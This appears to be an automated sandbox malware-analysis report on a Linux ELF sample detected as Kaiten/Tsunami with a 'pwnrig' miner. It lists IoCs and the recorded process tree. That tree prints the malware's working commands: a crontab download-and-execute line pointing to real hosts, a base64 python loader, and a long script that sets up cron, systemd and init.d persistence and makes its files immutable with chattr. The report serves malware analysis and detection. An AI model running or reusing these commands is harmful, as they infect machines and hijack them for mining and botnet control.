Analysis
-
max time kernel
141s -
max time network
145s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240221-en -
resource tags
arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system -
submitted
26-02-2024 01:01
Behavioral task
behavioral1
Sample
96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf
Resource
ubuntu2004-amd64-20240221-en
General
-
Target
96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf
-
Size
3.8MB
-
MD5
1184bf04877dec9a4bbb24acd30c8d49
-
SHA1
e68649a61a173c93775580ec0e975a3a87250e9d
-
SHA256
96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a
-
SHA512
25917099b31a0bd7b3fab4600c318c3a3acab5bb1c2dc8d7fbccfc22046fb7a551747065ad9016dba26d8de16a0782d4a7279a5b644c7802f4151c4d3184d104
-
SSDEEP
98304:e6M0JGEyxYXQKOscf3j3/DaNAq//XxsdQDYpexnaG4oDhAJ:i0JZ8yysw3zDuTXqQD+exawDhY
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/1996-2-0x00007fc263b88000-0x00007fc263b9c700-memory.dmp family_kaiten2 -
Detects Kaiten/Tsunami payload 1 IoCs
resource yara_rule behavioral1/memory/1996-2-0x00007fc263b88000-0x00007fc263b9c700-memory.dmp family_kaiten -
Executes dropped EXE 4 IoCs
ioc pid Process /etc/init.d/knlib 1486 knlib /tmp/bi.64 1996 bi.64 /tmp/bin.64 2007 bin.64 /tmp/bin.64 2330 bin.64 -
Reads EFI boot settings 10 IoCs
Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.
description ioc Process File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl -
resource yara_rule behavioral1/files/fstream-7.dat upx behavioral1/files/fstream-8.dat upx behavioral1/files/fstream-10.dat upx -
Attempts to change immutable files 14 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 2105 sed 2184 sed 2062 chattr 2067 sed 2055 chattr 2072 chattr 2177 chattr 2363 sh 2366 hostname 2057 sed 2060 chattr 2069 chattr 2179 chattr 2185 chattr -
Checks CPU configuration 1 TTPs 6 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo bin.64 File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo bin.64 File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep -
Checks hardware identifiers (DMI) 1 TTPs 8 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/board_vendor bin.64 File opened for reading /sys/devices/virtual/dmi/id/bios_vendor bin.64 File opened for reading /sys/devices/virtual/dmi/id/sys_vendor bin.64 File opened for reading /sys/devices/virtual/dmi/id/product_name bin.64 File opened for reading /sys/devices/virtual/dmi/id/board_vendor bin.64 File opened for reading /sys/devices/virtual/dmi/id/bios_vendor bin.64 File opened for reading /sys/devices/virtual/dmi/id/sys_vendor bin.64 File opened for reading /sys/devices/virtual/dmi/id/product_name bin.64 -
Creates/modifies Cron job 1 TTPs 15 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.daily/pwnrig tee File opened for modification /etc/cron.monthly/sed3OYbQv sed File opened for modification /etc/cron.weekly/sedoZtIfw sed File opened for modification /var/spool/cron/crontabs/tmp.WdiRKQ crontab File opened for modification /var/spool/cron/crontabs/tmp.Z4bRHk crontab File opened for modification /etc/cron.d/pwnrig tee File opened for modification /etc/cron.monthly/pwnrig tee File opened for modification /etc/cron.hourly/pwnrig tee File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /etc/cron.hourly/sedm0Tupu sed File opened for modification /var/spool/cron/crontabs/tmp.P2di6M crontab File opened for modification /var/spool/cron/crontabs/tmp.hEPjZk crontab File opened for modification /var/spool/cron/crontabs/tmp.skv9wK crontab File opened for modification /etc/cron.daily/sedwg2t9w sed File opened for modification /etc/cron.d/sedt3bLLs sed -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/knlib 96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sedCBg7Ko sed -
Modifies systemd 1 TTPs 3 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/knlibe.service 96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /etc/systemd/system/pwnrige.service tee -
Reads CPU attributes 1 TTPs 12 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online bin.64 File opened for reading /sys/devices/system/cpu/types bin.64 File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online bin.64 File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/possible bin.64 File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/types bin.64 File opened for reading /sys/devices/system/cpu/possible bin.64 -
Reads hardware information 1 TTPs 28 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_version bin.64 File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_version bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_type bin.64 File opened for reading /sys/devices/virtual/dmi/id/product_version bin.64 File opened for reading /sys/devices/virtual/dmi/id/board_version bin.64 File opened for reading /sys/devices/virtual/dmi/id/bios_date bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_serial bin.64 File opened for reading /sys/devices/virtual/dmi/id/product_serial bin.64 File opened for reading /sys/devices/virtual/dmi/id/board_serial bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag bin.64 File opened for reading /sys/devices/virtual/dmi/id/board_version bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_type bin.64 File opened for reading /sys/devices/virtual/dmi/id/product_uuid bin.64 File opened for reading /sys/devices/virtual/dmi/id/board_name bin.64 File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag bin.64 File opened for reading /sys/devices/virtual/dmi/id/board_name bin.64 File opened for reading /sys/devices/virtual/dmi/id/board_serial bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_version bin.64 File opened for reading /sys/devices/virtual/dmi/id/product_serial bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag bin.64 File opened for reading /sys/devices/virtual/dmi/id/bios_version bin.64 File opened for reading /sys/devices/virtual/dmi/id/bios_date bin.64 File opened for reading /sys/devices/virtual/dmi/id/product_uuid bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor bin.64 File opened for reading /sys/devices/virtual/dmi/id/chassis_serial bin.64 File opened for reading /sys/devices/virtual/dmi/id/bios_version bin.64 -
Writes file to system bin folder 1 TTPs 5 IoCs
description ioc Process File opened for modification /bin/crondr cp File opened for modification /bin/initdr cp File opened for modification /bin/sysdr cp File opened for modification /bin/knlib 96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf File opened for modification /bin/bprofr cp -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map bin.64 File opened for reading /sys/devices/virtual/dmi/id bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition bin.64 File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_cpus bin.64 File opened for reading /sys/bus/dax/devices/target_node bin.64 File opened for reading /sys/bus/cpu/devices bin.64 File opened for reading /sys/bus/node/devices/node0/access1/initiators bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map bin.64 File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages bin.64 File opened for reading /sys/bus/dax/devices/target_node bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map bin.64 File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_latency bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/level bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/topology/physical_package_id bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map bin.64 File opened for reading /sys/devices/system/node/online bin.64 File opened for reading /sys/bus/node/devices/node0/hugepages bin.64 File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map bin.64 File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus bin.64 File opened for reading /sys/devices/system/node/online bin.64 File opened for reading /sys/devices/virtual/dmi/id bin.64 File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/topology/die_cpus bin.64 File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size bin.64 File opened for reading /sys/bus/node/devices/node0/cpumap bin.64 File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/fs/cgroup/unified/cgroup.controllers bin.64 File opened for reading /sys/bus/cpu/devices bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition bin.64 File opened for reading /sys/fs/cgroup/unified/cgroup.controllers bin.64 File opened for reading /sys/bus/dax/devices bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/level bin.64 File opened for reading /sys/kernel/mm/hugepages bin.64 File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages bin.64 File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages bin.64 File opened for reading /sys/bus/cpu/devices/cpu0/topology/package_cpus bin.64 File opened for reading /sys/bus/node/devices/node0/access0/initiators bin.64 -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/1597/cmdline ps File opened for reading /proc/589/status ps File opened for reading /proc/1089/status ps File opened for reading /proc/23/stat ps File opened for reading /proc/2280/status ps File opened for reading /proc/self/maps awk File opened for reading /proc/5/cmdline ps File opened for reading /proc/1405/status ps File opened for reading /proc/116/status ps File opened for reading /proc/1473/status ps File opened for reading /proc/cmdline systemctl File opened for reading /proc/2412/cmdline ps File opened for reading /proc/1/sched systemctl File opened for reading /proc/1192/cmdline ps File opened for reading /proc/70/cmdline ps File opened for reading /proc/270/stat ps File opened for reading /proc/1652/status ps File opened for reading /proc/404/cmdline ps File opened for reading /proc/504/cmdline ps File opened for reading /proc/1075/status ps File opened for reading /proc/2051/status ps File opened for reading /proc/1639/stat ps File opened for reading /proc/1143/stat ps File opened for reading /proc/1296/status ps File opened for reading /proc/2281/status ps File opened for reading /proc/116/status ps File opened for reading /proc/1533/cmdline ps File opened for reading /proc/79/cmdline ps File opened for reading /proc/71/cmdline ps File opened for reading /proc/84/stat ps File opened for reading /proc/2270/stat ps File opened for reading /proc/cmdline systemctl File opened for reading /proc/499/stat ps File opened for reading /proc/564/cmdline ps File opened for reading /proc/2277/cmdline ps File opened for reading /proc/4/stat ps File opened for reading /proc/1104/status ps File opened for reading /proc/460/stat ps File opened for reading /proc/1434/stat ps File opened for reading /proc/22/status ps File opened for reading /proc/filesystems sed File opened for reading /proc/79/cmdline ps File opened for reading /proc/700/cmdline ps File opened for reading /proc/74/status ps File opened for reading /proc/2360/status ps File opened for reading /proc/meminfo ps File opened for reading /proc/2001/status ps File opened for reading /proc/1143/stat ps File opened for reading /proc/cmdline systemctl File opened for reading /proc/952/status ps File opened for reading /proc/459/status ps File opened for reading /proc/6/status ps File opened for reading /proc/538/stat ps File opened for reading /proc/639/status ps File opened for reading /proc/801/status ps File opened for reading /proc/312/stat ps File opened for reading /proc/1084/stat ps File opened for reading /proc/2281/cmdline ps File opened for reading /proc/1/environ systemctl File opened for reading /proc/200/status ps File opened for reading /proc/82/status ps File opened for reading /proc/815/stat ps File opened for reading /proc/5/stat ps File opened for reading /proc/169/status ps -
Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/bin.64 Process not Found File opened for modification /tmp/.klibsystem4.lock 96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf File opened for modification /tmp/bi.64 96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf File opened for modification /tmp/bin.64 96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf File opened for modification /tmp/.bashirc bi.64 File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.lock bin.64 File opened for modification /tmp/bi.64 Process not Found -
GoLang User-Agent 15 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 32 Go-http-client/1.1 HTTP User-Agent header 40 Go-http-client/1.1 HTTP User-Agent header 52 Go-http-client/1.1 HTTP User-Agent header 56 Go-http-client/1.1 HTTP User-Agent header 58 Go-http-client/1.1 HTTP User-Agent header 60 Go-http-client/1.1 HTTP User-Agent header 62 Go-http-client/1.1 HTTP User-Agent header 66 Go-http-client/1.1 HTTP User-Agent header 73 Go-http-client/1.1 HTTP User-Agent header 54 Go-http-client/1.1 HTTP User-Agent header 64 Go-http-client/1.1 HTTP User-Agent header 75 Go-http-client/1.1 HTTP User-Agent header 34 Go-http-client/1.1 HTTP User-Agent header 68 Go-http-client/1.1 HTTP User-Agent header 71 Go-http-client/1.1
Processes
-
/tmp/96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf/tmp/96a47e74c42f7cb2799ef064f413aeaeaf667662a3983b4e66556a827aa2481a.elf1⤵
- Modifies init.d
- Modifies systemd
- Writes file to system bin folder
- Writes file to tmp directory
PID:1472 -
/usr/bin/bashbash -c "rm -rf /etc/sysctl.conf ; echo fs.file-max = 2097152 > /etc/sysctl.conf ; sysctl -p ; ulimit -Hn ; ulimit -n 99999 -u 999999"2⤵PID:1482
-
/usr/bin/rmrm -rf /etc/sysctl.conf3⤵PID:1483
-
-
/usr/sbin/sysctlsysctl -p3⤵PID:1484
-
-
-
/usr/bin/chattrchattr +ia /etc/init.d/knlib2⤵PID:1485
-
-
/etc/init.d/knlib/etc/init.d/knlib start2⤵
- Executes dropped EXE
PID:1486 -
/usr/bin/cpcp -f -r -- /bin/knlib /bin/klibsystem43⤵PID:1487
-
-
/usr/bin/rmrm -rf -- klibsystem43⤵PID:1489
-
-
/usr/bin/nohupnohup ./klibsystem43⤵PID:1488
-
-
-
/usr/bin/chattrchattr +ia /etc/systemd/system/knlibe.service2⤵PID:1490
-
-
/usr/bin/systemctlsystemctl daemon-reload2⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:1491
-
-
/usr/bin/systemctlsystemctl enable knlibe.service2⤵
- Reads EFI boot settings
- Reads runtime system information
PID:1554
-
-
/usr/bin/chattrchattr +ia /bin/knlib2⤵PID:1746
-
-
/usr/bin/bashbash -c "echo '*/10 * * * * (curl -s http://185.172.128.146:443/2.gif || wget -q -O - http://dw.c4kdeliver.top:443/2.gif || lwp-download http://dw.c4kdeliver.top:443/2.gif /tmp/2.gif) | bash -sh; bash /tmp/2.gif; rm -rf /tmp/2.gif; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDY6NDQzL2QucHkiKS5yZWFkKCkpJyB8fCBweXRob24yIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDYvZC5weSIpLnJlYWQoKSkn | base64 -d | bash' | crontab -"2⤵PID:1976
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1978
-
-
-
/usr/bin/ssss -ant2⤵PID:1990
-
-
/usr/bin/nohupnohup /tmp/bi.64 "&"2⤵PID:1996
-
-
/tmp/bi.64/tmp/bi.64 "&"2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1996
-
-
/usr/bin/ssss -ant2⤵PID:2002
-
-
/usr/bin/nohupnohup /tmp/bin.64 -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d -pwn "&"2⤵PID:2007
-
-
/tmp/bin.64/tmp/bin.64 -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d -pwn "&"2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:2007 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵PID:2014
-
/usr/bin/whoamiwhoami4⤵PID:2025
-
-
/usr/bin/hostnamehostname4⤵PID:2026
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:2027
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:2043
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵
- Reads runtime system information
PID:2045
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
PID:2044
-
-
/usr/bin/idid -u4⤵PID:2047
-
-
/usr/bin/grepgrep -v grep4⤵PID:2050
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:2049
-
-
/usr/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
PID:2048
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/bin.64';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a 